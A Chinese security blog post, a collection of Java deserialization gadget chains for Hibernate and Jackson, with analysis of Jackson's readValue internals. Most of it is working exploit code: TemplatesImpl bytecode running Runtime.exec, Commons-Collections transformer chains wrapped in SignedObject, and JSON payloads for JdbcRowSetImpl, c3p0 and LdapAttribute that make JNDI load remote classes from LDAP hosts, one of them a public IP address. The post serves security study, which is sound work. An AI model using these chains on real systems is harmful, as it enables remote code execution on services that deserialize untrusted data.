                                JdbcRowSetImpl.getDatabaseMetaData()
  1. 整个payload如下:

    public class Hibernate {
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
            TemplatesImpl templates=new TemplatesImpl();
            byte[] code=getTemplates();
            byte[][] codes={code};
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            setFieldValue(templates,"_name","1");
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_bytecodes",codes);
    
            //BasicGetter初始化,便于触发get方法
            Class<?> BasicGetter=Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor=BasicGetter.getDeclaredConstructor(Class.class, Method.class,String.class);
            constructor.setAccessible(true);
            Method method=templates.getClass().getDeclaredMethod("getOutputProperties");
            Object getter=constructor.newInstance(templates.getClass(),method,"outputProperties");
    
            //子类pojoComponentTuplizer赋值getters,可直接调用父类
            Class<?> pojoComponentTuplizer=Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
            Class<?> abstractComponentTuplizer=Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
            Object Tuplizer=createWithoutConstructor(pojoComponentTuplizer);
            Field field=abstractComponentTuplizer.getDeclaredField("getters");
            field.setAccessible(true);
            Object getters=Array.newInstance(getter.getClass(),1);//getters是个数组
            Array.set(getters,0,getter);
            field.set(Tuplizer,getters);
    
            //对ComponentType进行赋值,触发getHashCode()
            Class<?> ComponentType=Class.forName("org.hibernate.type.ComponentType");
            Object componentType=createWithoutConstructor(ComponentType);
            setFieldValue(componentType,"propertySpan",1);
            setFieldValue(componentType,"componentTuplizer",Tuplizer);
    
            TypedValue typedValue=new TypedValue((Type) componentType,null);
            HashMap hashMap=new HashMap();
            hashMap.put(typedValue,"aiwin");
            // put 到 hashmap 之后再反射写入,防止 put 时触发
            setFieldValue(typedValue,"value",templates);
            serialize(hashMap);
            unserialize("ser.bin");
        }
        public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
                throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }
    
        //绕过构造函数的限制,创造新的反序列化构造函数
        public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
                throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T)sc.newInstance(consArgs);
        }
        public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
            ClassPool classPool=ClassPool.getDefault();
            CtClass ctClass=classPool.makeClass("Test");
            ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            String block = "Runtime.getRuntime().exec(\"calc\");";
            ctClass.makeClassInitializer().insertBefore(block);
            return ctClass.toBytecode();
        }
    
        public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field dfield=object.getClass().getDeclaredField(field);
            dfield.setAccessible(true);
            dfield.set(object,value);
        }
        public static  void serialize(Object object) throws IOException {
            ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(object);
        }
        public static void unserialize(String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
            objectInputStream.readObject();
    
        }

请添加图片描述

jdbcRowSetImpl

同样也可以触发JdbcRowSetImpl#getDatabaseMetaData进而触发connect()方法导致lookup进行jndi注入,只需要将上面payload部分换成即可

        JdbcRowSetImpl jdbcRowSet=new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://127.0.0.1:7777/test");
        //BasicGetter初始化,便于触发get方法
        Class<?> BasicGetter=Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
        Constructor<?> constructor=BasicGetter.getDeclaredConstructor(Class.class, Method.class,String.class);
        constructor.setAccessible(true);
        Method method=jdbcRowSet.getClass().getDeclaredMethod("getDatabaseMetaData");
        Object getter=constructor.newInstance(jdbcRowSet.getClass(),method,"databaseMetaData");

请添加图片描述

SignedObject

这里以SignedObject打CC链为例,payload如下:

package com.example.Hibernate;

import com.sun.rowset.JdbcRowSetImpl;
import javassist.CannotCompileException;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.sql.SQLException;
import java.util.HashMap;

public class Hibernate2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, SQLException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),//解决Runtime不继承序列化接口问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
        HashMap<Object,Object> objectHashMap=new HashMap<>();
        objectHashMap.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaa");
        Class lazyMap_class=LazyMap.class;
        Field factory=lazyMap_class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(objectHashMap, kp.getPrivate(), Signature.getInstance("DSA"));


        //BasicGetter初始化,便于触发get方法
        Class<?> BasicGetter=Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
        Constructor<?> constructor=BasicGetter.getDeclaredConstructor(Class.class, Method.class,String.class);
        constructor.setAccessible(true);
        Method method=signedObject.getClass().getDeclaredMethod("getObject");
        Object getter=constructor.newInstance(signedObject.getClass(),method,"object");

        //子类pojoComponentTuplizer赋值getters,可直接调用父类
        Class<?> pojoComponentTuplizer=Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizer=Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
        Object Tuplizer=createWithoutConstructor(pojoComponentTuplizer);
        Field field=abstractComponentTuplizer.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters= Array.newInstance(getter.getClass(),1);//getters是个数组
        Array.set(getters,0,getter);
        field.set(Tuplizer,getters);

        //对ComponentType进行赋值,触发getHashCode()
        Class<?> ComponentType=Class.forName("org.hibernate.type.ComponentType");
        Object componentType=createWithoutConstructor(ComponentType);
        setFieldValue(componentType,"propertySpan",1);
        setFieldValue(componentType,"componentTuplizer",Tuplizer);

        TypedValue typedValue=new TypedValue((Type) componentType,null);
        HashMap hashMap=new HashMap();
        hashMap.put(typedValue,"aiwin");
        // put 到 hashmap 之后再反射写入,防止 put 时触发
        setFieldValue(typedValue,"value",signedObject);
        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    //绕过构造函数的限制,创造新的反序列化构造函数
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield=object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object,value);
    }
    public static  void serialize(Object object) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

请添加图片描述

Jackson反序列化

引入依赖:

   <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-core</artifactId>
            <version>2.11.0</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-annotations</artifactId>
            <version>2.11.0</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.11.0</version>
        </dependency>

jacksonfastjson有点相似,都是用于处理JSON数据,但是jacksonfastsjon一个非常大的优点是jackson支持多态,简单来说就是一个Java的对象成员可以是一个抽象接口、抽象类、父类,若没有指定是具体那一个实现类,会出现找不到成员class的情况。Jackson中可以通过DefaultTyping@JsonTypeInfo 注解来实现。

JAVA_LANG_OBJECT属性是Object序列化和反序列化
OBJECT_AND_NON_CONCRETE属性的类型为Object、Interface、AbstractClass会进行反序列化
NON_CONCRETE_AND_ARRAYS支持Arrays类型进行反序列化
NON_FINAL所有除了声明为final之外的属性

@JsonTypeInfo注解的类型如下:

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE): 这个注解指定了不使用类型信息。即在序列化和反序列化过程中不记录类型信息。

@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS): 这个注解指定了使用类全名作为类型标识。在序列化时,会将对象的实际类名作为类型信息写入 JSON 数据中,在反序列化时会根据类型信息恢复对象。

@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS): 这个注解指定了使用最小类名作为类型标识。与JsonTypeInfo.Id.CLASS相似,但只使用最后一个点之后的类名,而不使用完整的类路径。

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME): 这个注解指定了使用指定名称作为类型标识。通过它,可以为类定义一个名称,并将其作为类型信息写入 JSON 数据中。

@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM): 这个注解指定了使用自定义的类型解析器来处理类型信息。通过实现 TypeResolver 接口,并将其指定为注解的 property 属性,可以自定义类型解析的逻辑。

Jackson反序列化漏洞触发的成因:

它与fastjson 类似,都是从某一个类构造函数实例化,在还原对象的过程中通过getter 或者setter 方法给成员变量赋值,导致了可以恶意利用settergetter 方法触发一些Gagets

Jackson能触发反序列化漏洞的条件:

1.Jackson 开启 Defualt Type支持
2.存在可利用的类,它的getter或者setter方法能够Jackson触发造成反序列化漏洞

以下是JacksonreadValue 还原对象的时候的简单流程分析:

  1. 首先会进入到_readMapAndClose方法中,在进入这个方法之前会先进入_typeFactory.constructType里面。

        public <T> T readValue(String content, Class<T> valueType)
            throws IOException, JsonParseException, JsonMappingException
        {
            return (T) _readMapAndClose(_jsonFactory.createParser(content), _typeFactory.constructType(valueType));
        } 
  1. _typeFactory.constructType会进入到_fromAny里面,判断对象的类型,进而进入不同的if语句中,执行不同的函数,就是判断它是不是一些特殊的Class,如果不是一般都是在第一个if中返回,最终返回一个SimpleType

        protected JavaType _fromAny(ClassStack context, Type type, TypeBindings bindings)
        {
            JavaType resultType;
    
            // simple class?
            if (type instanceof Class<?>) {
                // Important: remove possible bindings since this is type-erased thingy
                resultType = _fromClass(context, (Class<?>) type, EMPTY_BINDINGS);
            }
            // But if not, need to start resolving.
            else if (type instanceof ParameterizedType) {
                resultType = _fromParamType(context, (ParameterizedType) type, bindings);
            }
            else if (type instanceof JavaType) { // [databind#116]
                // no need to modify further if we already had JavaType
                return (JavaType) type;
            }
            else if (type instanceof GenericArrayType) {
                resultType = _fromArrayType(context, (GenericArrayType) type, bindings);
            }
            else if (type instanceof TypeVariable<?>) {
                resultType = _fromVariable(context, (TypeVariable<?>) type, bindings);
            }
            else if (type instanceof WildcardType) {
                resultType = _fromWildcard(context, (WildcardType) type, bindings);
            } else {
                // sanity check
                throw new IllegalArgumentException("Unrecognized Type: "+((type == null) ? "[null]" : type.toString()));
            }
            /* 21-Feb-2016, nateB/tatu: as per [databind#1129] (applied for 2.7.2),
             *   we do need to let all kinds of types to be refined, esp. for Scala module.
             */
            if (_modifiers != null) {
                TypeBindings b = resultType.getBindings();
                if (b == null) {
                    b = EMPTY_BINDINGS;
                }
                for (TypeModifier mod : _modifiers) {
                    JavaType t = mod.modifyType(resultType, type, b, this);
                    if (t == null) {
                        throw new IllegalStateException(String.format(
                                "TypeModifier %s (of type %s) return null for type %s",
                                mod, mod.getClass().getName(), resultType));
                    }
                    resultType = t;
                }
            }
            return resultType;
        }
  2. 进入到_readMapAndClose,会通过_initForReading()对解析过程进行初始化,返回一个值,通过_findRootDeserializer获取JSON串对应的deserialize后,最终会进入到deser.deserialize

        protected Object _readMapAndClose(JsonParser p0, JavaType valueType)
            throws IOException
        {
            try (JsonParser p = p0) {
                Object result;
                JsonToken t = _initForReading(p);
                if (t == JsonToken.VALUE_NULL) {
                    // Ask JsonDeserializer what 'null value' to use:
                    DeserializationContext ctxt = createDeserializationContext(p,
                            getDeserializationConfig());
                    result = _findRootDeserializer(ctxt, valueType).getNullValue(ctxt);
                } else if (t == JsonToken.END_ARRAY || t == JsonToken.END_OBJECT) {
                    result = null;
                } else {
                    DeserializationConfig cfg = getDeserializationConfig();
                    DeserializationContext ctxt = createDeserializationContext(p, cfg);
                    JsonDeserializer<Object> deser = _findRootDeserializer(ctxt, valueType);
                    if (cfg.useRootWrapping()) {
                        result = _unwrapAndDeserialize(p, ctxt, cfg, valueType, deser);
                    } else {
                        result = deser.deserialize(p, ctxt);
                    }
                    ctxt.checkUnresolvedObjectId();
                }
                // Need to consume the token too
                p.clearCurrentToken();
                return result;
            }
        }
  1. _findRootDeserializer中,会首先从_rootDeserializers中获取对应type的反序列化器,也就是从缓存中获取,如果获取不到,就会进入到findRootValueDeserializer

        protected JsonDeserializer<Object> _findRootDeserializer(DeserializationContext ctxt,
                JavaType valueType)
            throws JsonMappingException
        {
            // First: have we already seen it?
            JsonDeserializer<Object> deser = _rootDeserializers.get(valueType);
            if (deser != null) {
                return deser;
            }
            // Nope: need to ask provider to resolve it
            deser = ctxt.findRootValueDeserializer(valueType);
            if (deser == null) { // can this happen?
                throw JsonMappingException.from(ctxt,
                        "Can not find a deserializer for type "+valueType);
            }
            _rootDeserializers.put(valueType, deser);
            return deser;
        }
  1. findRootValueDeserializer中,会再一次从_cache中获取反序列化器,它经历了一个_findCachedDeserializer的复杂获取后,如果获取不到,则调用_createAndCacheValueDeserializer新建立一个BeanDeserializerFactory,对BeanDeserializerFactory进行了一系列赋值之后,将Deserializer返回,并通过_rootDeserializers.put(valueType, deser);放入到缓存当中。

        public final JsonDeserializer<Object> findRootValueDeserializer(JavaType type)
            throws JsonMappingException
        {
            JsonDeserializer<Object> deser = _cache.findValueDeserializer(this,
                    _factory, type);
            if (deser == null) { // can this occur?
                return null;
            }
            deser = (JsonDeserializer<Object>) handleSecondaryContextualization(deser, null, type);
            TypeDeserializer typeDeser = _factory.findTypeDeserializer(_config, type);
            if (typeDeser != null) {
                // important: contextualize to indicate this is for root value
                typeDeser = typeDeser.forProperty(null);
                return new TypeWrappedDeserializer(typeDeser, deser);
            }
            return deser;
        }
    

    在这里插入图片描述

  2. 然后就会进入deser.deserialize(p, ctxt);方法中,经过p.isExpectedStartObjectToken()判断JSON解析的字符串是否是正确之后会进入到vanillaDeserialize

        @Override
        public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException
        {
            // common case first
            if (p.isExpectedStartObjectToken()) {
                if (_vanillaProcessing) {
                    return vanillaDeserialize(p, ctxt, p.nextToken());
                }
                // 23-Sep-2015, tatu: This is wrong at some many levels, but for now... it is
                //    what it is, including "expected behavior".
                p.nextToken();
                if (_objectIdReader != null) {
                    return deserializeWithObjectId(p, ctxt);
                }
                return deserializeFromObject(p, ctxt);
            }
            return _deserializeOther(p, ctxt, p.getCurrentToken());
        }
  3. vanillaDeserialize中,会进入到do-while循环中,获取对应的Java Bean属性后赋值给prop,如果prop不为空,则进入到deserializeAndSet中,

     private final Object vanillaDeserialize(JsonParser p,
                DeserializationContext ctxt, JsonToken t)
            throws IOException
        {
            final Object bean = _valueInstantiator.createUsingDefault(ctxt);
            // [databind#631]: Assign current value, to be accessible by custom serializers
            p.setCurrentValue(bean);
            if (p.hasTokenId(JsonTokenId.ID_FIELD_NAME)) {
                String propName = p.getCurrentName();
                do {
                    p.nextToken();
                    SettableBeanProperty prop = _beanProperties.find(propName);
    
                    if (prop != null) { // normal case
                        try {
                            prop.deserializeAndSet(p, ctxt, bean);
                        } catch (Exception e) {
                            wrapAndThrow(e, bean, propName, ctxt);
                        }
                        continue;
                    }
                    handleUnknownVanilla(p, ctxt, bean, propName);
                } while ((propName = p.nextFieldName()) != null);
            }
            return bean;
        }
  4. deserializeAndSet方法通过_setter.invoke触发对应的set方法

        @Override
        public void deserializeAndSet(JsonParser p, DeserializationContext ctxt,
                Object instance) throws IOException
        {
            Object value = deserialize(p, ctxt);
            try {
                _setter.invoke(instance, value);
            } catch (Exception e) {
                _throwAsIOE(p, e, value);
            }
        }
  5. 但是并非全部的jackson都只会触发getter方法,它与fastjson也是类似,会触发特定条件下的get方法,它在为BeanDeserializerFactory赋值的时候,会存在一个addBeanProps方法,里面有一部分对props的判断可以看到会触发少部分的get方法

    在这里插入图片描述

它首先判断属性是否有 setter 方法,如果有,则获取 setter 方法的参数类型并通过 constructSettableProperty 方法构建 SettableBeanProperty 对象。如果没有 setter 方法,则判断是否有字段,如果有,则获取字段的类型并同样通过 constructSettableProperty 方法构建 SettableBeanProperty 对象。如果设置了 useGettersAsSetters 标志,并且属性有 getter 方法,则尝试使用 getter 方法构建 SettableBeanProperty 对象,但是这里只考虑了 Collection 和 Map 类型的属性。

也就是说,要调用get方法的满足条件如下:

1.没有set方法
2.私有属性
3.getter方法返回值是Map,Collection的类型

JdbcSetImpl

老生常谈的一个JNDI注入的链子,poc如下:

public class JdbcImpl {
    public static void main(String[] args) throws IOException {
        String poc = "[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:8085/nrPgJBmb\",\"autoCommit\":true}]";
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc, Object.class);
    }
}

TemplateImpl

在低版本的JDK中是可以复现成功的,但是在高版本中并不行,因为_tfactory会报空值错误,但是在jackson中并不能控制_tfactory的值。

import com.fasterxml.jackson.databind.ObjectMapper;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.util.Base64;

public class TemplateImpl {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        String base64Poc =Base64.getEncoder().encodeToString(getTemplates());
        String poc = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{\"transletBytecodes\":[\"" + base64Poc +"\"],\"transletName\":\"aiwin\",\"outputProperties\":{}}]";
        System.out.println(poc);
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc, Object.class);
    }
    public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
}

c3p0

public class c3p0 {
    public static void main(String[] args) throws IOException {
        String poc="[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"ldap://127.0.0.1:8085/nrPgJBmb\", \"loginTimeout\":0}]";
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc,Object .class);
    }

}

TemplateImpl原生反序列化

首先需要重写BaseJsonNode类,并且把里面的writeReplace()注释掉,因为在序列化的时候会存在invokeWriteReplace()判断writeReplaceMethod是否存在,如果存在就会调用这个writeReplace()进而调用NodeSerialization,导致反序列化的时候不会走正常渠道,会引发报错阻止了反序列化的进行。

在这里插入图片描述

在这里插入图片描述

大致链子如下:

BadAttributeValueExpException#readObject()->
    BaseJsonNode#toString()->
        InternalNodeMapper#nodeToString()->
            BeanSerializer#serialize()->
                BeanPropertyWriter#serializeAsField()->
                    TemplatesImpl#getOutputProperties()

Jackson它是基于Bean属性访问机制的反序列化,它在反序列化的时候会调用BeanSerializer恢复Bean从而调用getter方法进行还原。

一些基于Bean机制进行反序列化的类:

  • SnakeYAML
  • jYAML
  • YamlBeans
  • Jackson
  • Castor
  • Java XMLDecoder

exp如下:

public class TemplatesImplChain {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",pojoNode);
        String result=serialize(exp);
        unserialize(result);
    }

SignedObject二次反序列化

BadAttributeValueExpException#readObject()->
    BaseJsonNode#toString()->
        InternalNodeMapper#nodeToString()->
            BeanSerializer#serialize()->
                BeanPropertyWriter#serializeAsField()->
                    SignedObject#getObject->
                        二次反序列化->
                            TemplatesImpl#getOutputProperties()

exp如下:

public class SignObject {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode=new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",pojoNode);
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));
        POJONode pojoNode1=new POJONode(signedObject);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",pojoNode1);
        String result=serialize(badAttributeValueExpException);
        unserialize(result);

    }

LdapAttribute

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:168, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:359, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:439, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:432, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:422, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:210, InitialDirContext (javax.naming.directory)
getAttributeDefinition:207, LdapAttribute (com.sun.jndi.ldap)

exp如下:

public class LdapAttributeChain
{
    public static void main( String[] args ) throws Exception {
        String ldapCtxUrl = "ldap://120.79.29.170:1389/";
        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                String.class);
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                "name");
        setFieldValue(ldapAttribute,"baseCtxURL",ldapCtxUrl);
        setFieldValue(ldapAttribute,"rdn", new CompositeName("a//b"));
        POJONode jsonNodes = new POJONode(ldapAttribute);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",jsonNodes);
        deserial(serial(exp));
    }

简单分析:

主要是通过POJONode调用LdapAttributeClazz#getAttributeDefinition,在这个方法中,baseCtxrdn都可控。

在这里插入图片描述

它会进入getSchema进行进一步解析,会进一步对DN进行解析,exp中 new CompositeName("evil//b")事实上调用的类名是evilb似乎是无关紧要的,它会在ComponentContext#p_resolveIntermediate中以/分割提取出头和尾分别赋值给var5var6,最终传进去的是var6也就是头evil

在这里插入图片描述

进入到AtomicContext#c_resolveIntermediate_nns,因为_contextType默认是1,因为会调用父类即ComponentContext#c_resolveIntermediate_nns,从而调用了LdapCtx#lookup()

在这里插入图片描述

LdapCtx#c_lookup中,会调用doSearch寻找DN,最终的结果是传入的头也就是evilclassFactory

在这里插入图片描述

最终在NamingManager#getObjectFactoryFromReference中完成了远程类加载和实例化,这里通过ldap远程调用那个类是由于rdn中分割符的前面决定的。

在这里插入图片描述

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:Java反序列化链子合集2
文章链接:https://aiwin.fun/index.php/archives/515/
最后编辑:2024 年 6 月 4 日 17:48 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 4 + 9 =
快来做第一个评论的人吧~